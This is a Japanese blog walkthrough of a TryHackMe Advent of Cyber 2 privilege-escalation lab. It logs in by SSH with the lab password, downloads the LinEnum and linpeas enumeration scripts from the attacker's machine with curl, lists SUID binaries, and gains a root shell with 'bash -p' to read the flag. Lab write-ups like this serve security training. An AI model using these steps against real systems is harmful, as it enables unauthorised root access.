[TryHackMe] Advent of Cyber 2, Day 11 - Walkthrough -

本稿では、[TryHackMe](https://tryhackme.com/)にて提供されている「[Advent of Cyber 2](https://tryhackme.com/room/adventofcyber2)」ルームに関する攻略方法（Walkthrough）について検証します。
「Advent of Cyber 2」は「free room」（無料）で提供されています。購読を必要とせずに仮想マシンを「展開（Deploy）」することができます。

>『Advent of Cyber 2』のWalkthroughインデックスを「[[TryHackMe] Advent of Cyber 2に参加してみた](https://qiita.com/v_avenger/items/ac9092374e5bf16a2dd0)」にて公開しました。

# [Day 11] Networking: The Rogue Gnome
## ストーリー
![Day11.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/57ebadd2-57d0-e823-6f2d-69b25ce5c5e6.png)

>これだ！--エルフ・McEagerが待ち望んでいた瞬間です。彼が「[Day 8 - What's Under the Christmas Tree?](https://qiita.com/v_avenger/items/36755058e28c3411cb81)」で望んだ`Nmap`コースの最終試験です。これまでの苦労が報われたようだ...。「*成功！*」 エルフ・McEagerは叫んだ。「*エクスプロイトがうまくいった！ Yippeee!*」
>
>エルフ・McEagerは、ターゲットから自身のコンピュータに対するリバースシェルの確立に成功しました。彼はほとんど知りませんでした、本当の試験はこれからなのです...。試験の最終段階では、エルフ・McEagerの権限を昇格させる必要があります。彼は`Nmap`のチートシートの勉強に時間を費やしてきたので、今は頭が真っ白になっています...。エルフ・McEagerを助けてあげてください。
>
>*善人になるためには、まず悪人にならなければならないこともある...。（To be the good guy, sometimes you gotta be the bad guy first...）*

## Day 11 - #1.
>What type of privilege escalation involves using a user account to execute commands as an administrator?

- Horizontal な特権昇格
- Vertical な特権昇格

## Day 11 - #2.
>What is the name of the file that contains a list of users who are a part of the `sudo` group?

```
kali@kali:~$ ls -l /etc/sudoers
-r--r----- 1 root root 669 Jul 12 11:52 /etc/sudoers
```

## Day 11 - #3.
>Use SSH to log in to the vulnerable machine like so: ssh cmnatic@MACHINE_IP
>
>Input the following password when prompted: aoc2020

```
kali@kali:~$ ssh cmnatic@10.10.178.95
The authenticity of host '10.10.178.95 (10.10.178.95)' can't be established.
ECDSA key fingerprint is SHA256:Epte0uGyoBmg5Gb9zRw9f26JYUHv72UFd1VVNHcItUQ.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.178.95' (ECDSA) to the list of known hosts.
cmnatic@10.10.178.95's password: 
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-126-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat Dec 12 01:25:04 UTC 2020

  System load:  0.0                Processes:           92
  Usage of /:   27.8% of 14.70GB   Users logged in:     0
  Memory usage: 16%                IP address for eth0: 10.10.178.95
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

68 packages can be updated.
0 updates are security updates.


Last login: Wed Dec  9 15:49:32 2020
-bash-4.4$ 
```

## Day 11 - #4.
>Enumerate the machine for executables that have had the SUID permission set. Look at the output and use a mixture of [GTFObins](https://gtfobins.github.io/) and your researching skills to learn how to exploit this binary.
>
>You may find uploading some of the enumeration scripts that were used during today's task to be useful.

```
kali@kali:~/OffsecVM$ python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...
10.10.178.95 - - [11/Dec/2020 20:37:30] "GET /LinEmu.sh HTTP/1.1" 200 -
```

```
#EndOfScript-bash-4.4$ curl http://10.11.19.198:8080/LinEmu.sh -o LinEmu.sh
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 46630  100 46630    0     0  42390      0  0:00:01  0:00:01 --:--:-- 42390
-bash-4.4$
```

```
-bash-4.4$ chmod +x LinEmu.sh
-bash-4.4$ ./LinEmu.sh
```

![LinEmu.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/b5b96304-3f00-303e-b02d-1498a774bed4.png)

```
-bash-4.4$ curl http://10.11.19.198:8080/linpeas.sh -o linpeas.sh
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  228k  100  228k    0     0   100k      0  0:00:02  0:00:02 --:--:--  100k
-bash-4.4$ chmod +x linpeas.sh
-bash-4.4$ ./linpeas.sh
```

![LinPeas.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/b18b3d3a-19ca-8b3b-1ade-e5296936d999.png)

```
-bash-4.4$ find / -perm -u=s -type f 2>/dev/null
/bin/umount
/bin/mount
/bin/su
/bin/fusermount
/bin/bash
/bin/ping
/snap/core/10444/bin/mount
/snap/core/10444/bin/ping
/snap/core/10444/bin/ping6
/snap/core/10444/bin/su
/snap/core/10444/bin/umount
/snap/core/10444/usr/bin/chfn
/snap/core/10444/usr/bin/chsh
/snap/core/10444/usr/bin/gpasswd
/snap/core/10444/usr/bin/newgrp
/snap/core/10444/usr/bin/passwd
/snap/core/10444/usr/bin/sudo
/snap/core/10444/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/10444/usr/lib/openssh/ssh-keysign
/snap/core/10444/usr/lib/snapd/snap-confine
/snap/core/10444/usr/sbin/pppd
/snap/core/7270/bin/mount
/snap/core/7270/bin/ping
/snap/core/7270/bin/ping6
/snap/core/7270/bin/su
/snap/core/7270/bin/umount
/snap/core/7270/usr/bin/chfn
/snap/core/7270/usr/bin/chsh
/snap/core/7270/usr/bin/gpasswd
/snap/core/7270/usr/bin/newgrp
/snap/core/7270/usr/bin/passwd
/snap/core/7270/usr/bin/sudo
/snap/core/7270/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/7270/usr/lib/openssh/ssh-keysign
/snap/core/7270/usr/lib/snapd/snap-confine
/snap/core/7270/usr/sbin/pppd
/usr/bin/newgidmap
/usr/bin/at
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/pkexec
/usr/bin/newuidmap
/usr/bin/traceroute6.iputils
/usr/bin/chsh
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/snapd/snap-confine
-bash-4.4$ 
```

## Day 11 - #5.
>Use this executable to launch a system shell as root.
>
>What are the contents of the file located at /root/flag.txt?

https://gtfobins.github.io/gtfobins/bash/#suid

```
-bash-4.4$ whoami
cmnatic
-bash-4.4$ bash -p
bash-4.4# whoami
root
```

```
bash-4.4# cat /root/flag.txt
thm{2fb1{BLOCKED}6592}
```

# 参考になるTryHackMeのルーム
- [Shells and Privilege Escalation](https://tryhackme.com/module/privilege-escalation-and-shells)

# Walkthrough
- BRYAN WENDT, [TryHackMe – Advent of Cyber 2 – Day 11 – Walkthrough](https://bryanwendt.wordpress.com/2020/12/11/tryhackme-advent-of-cyber-2-day-11-walkthrough/)
- NEERANJAN MURUGAN, [Advent of Cyber 2 ~ Try Hack Me](https://neeranjan.com/advent-of-cyber-2-try-hack-me/)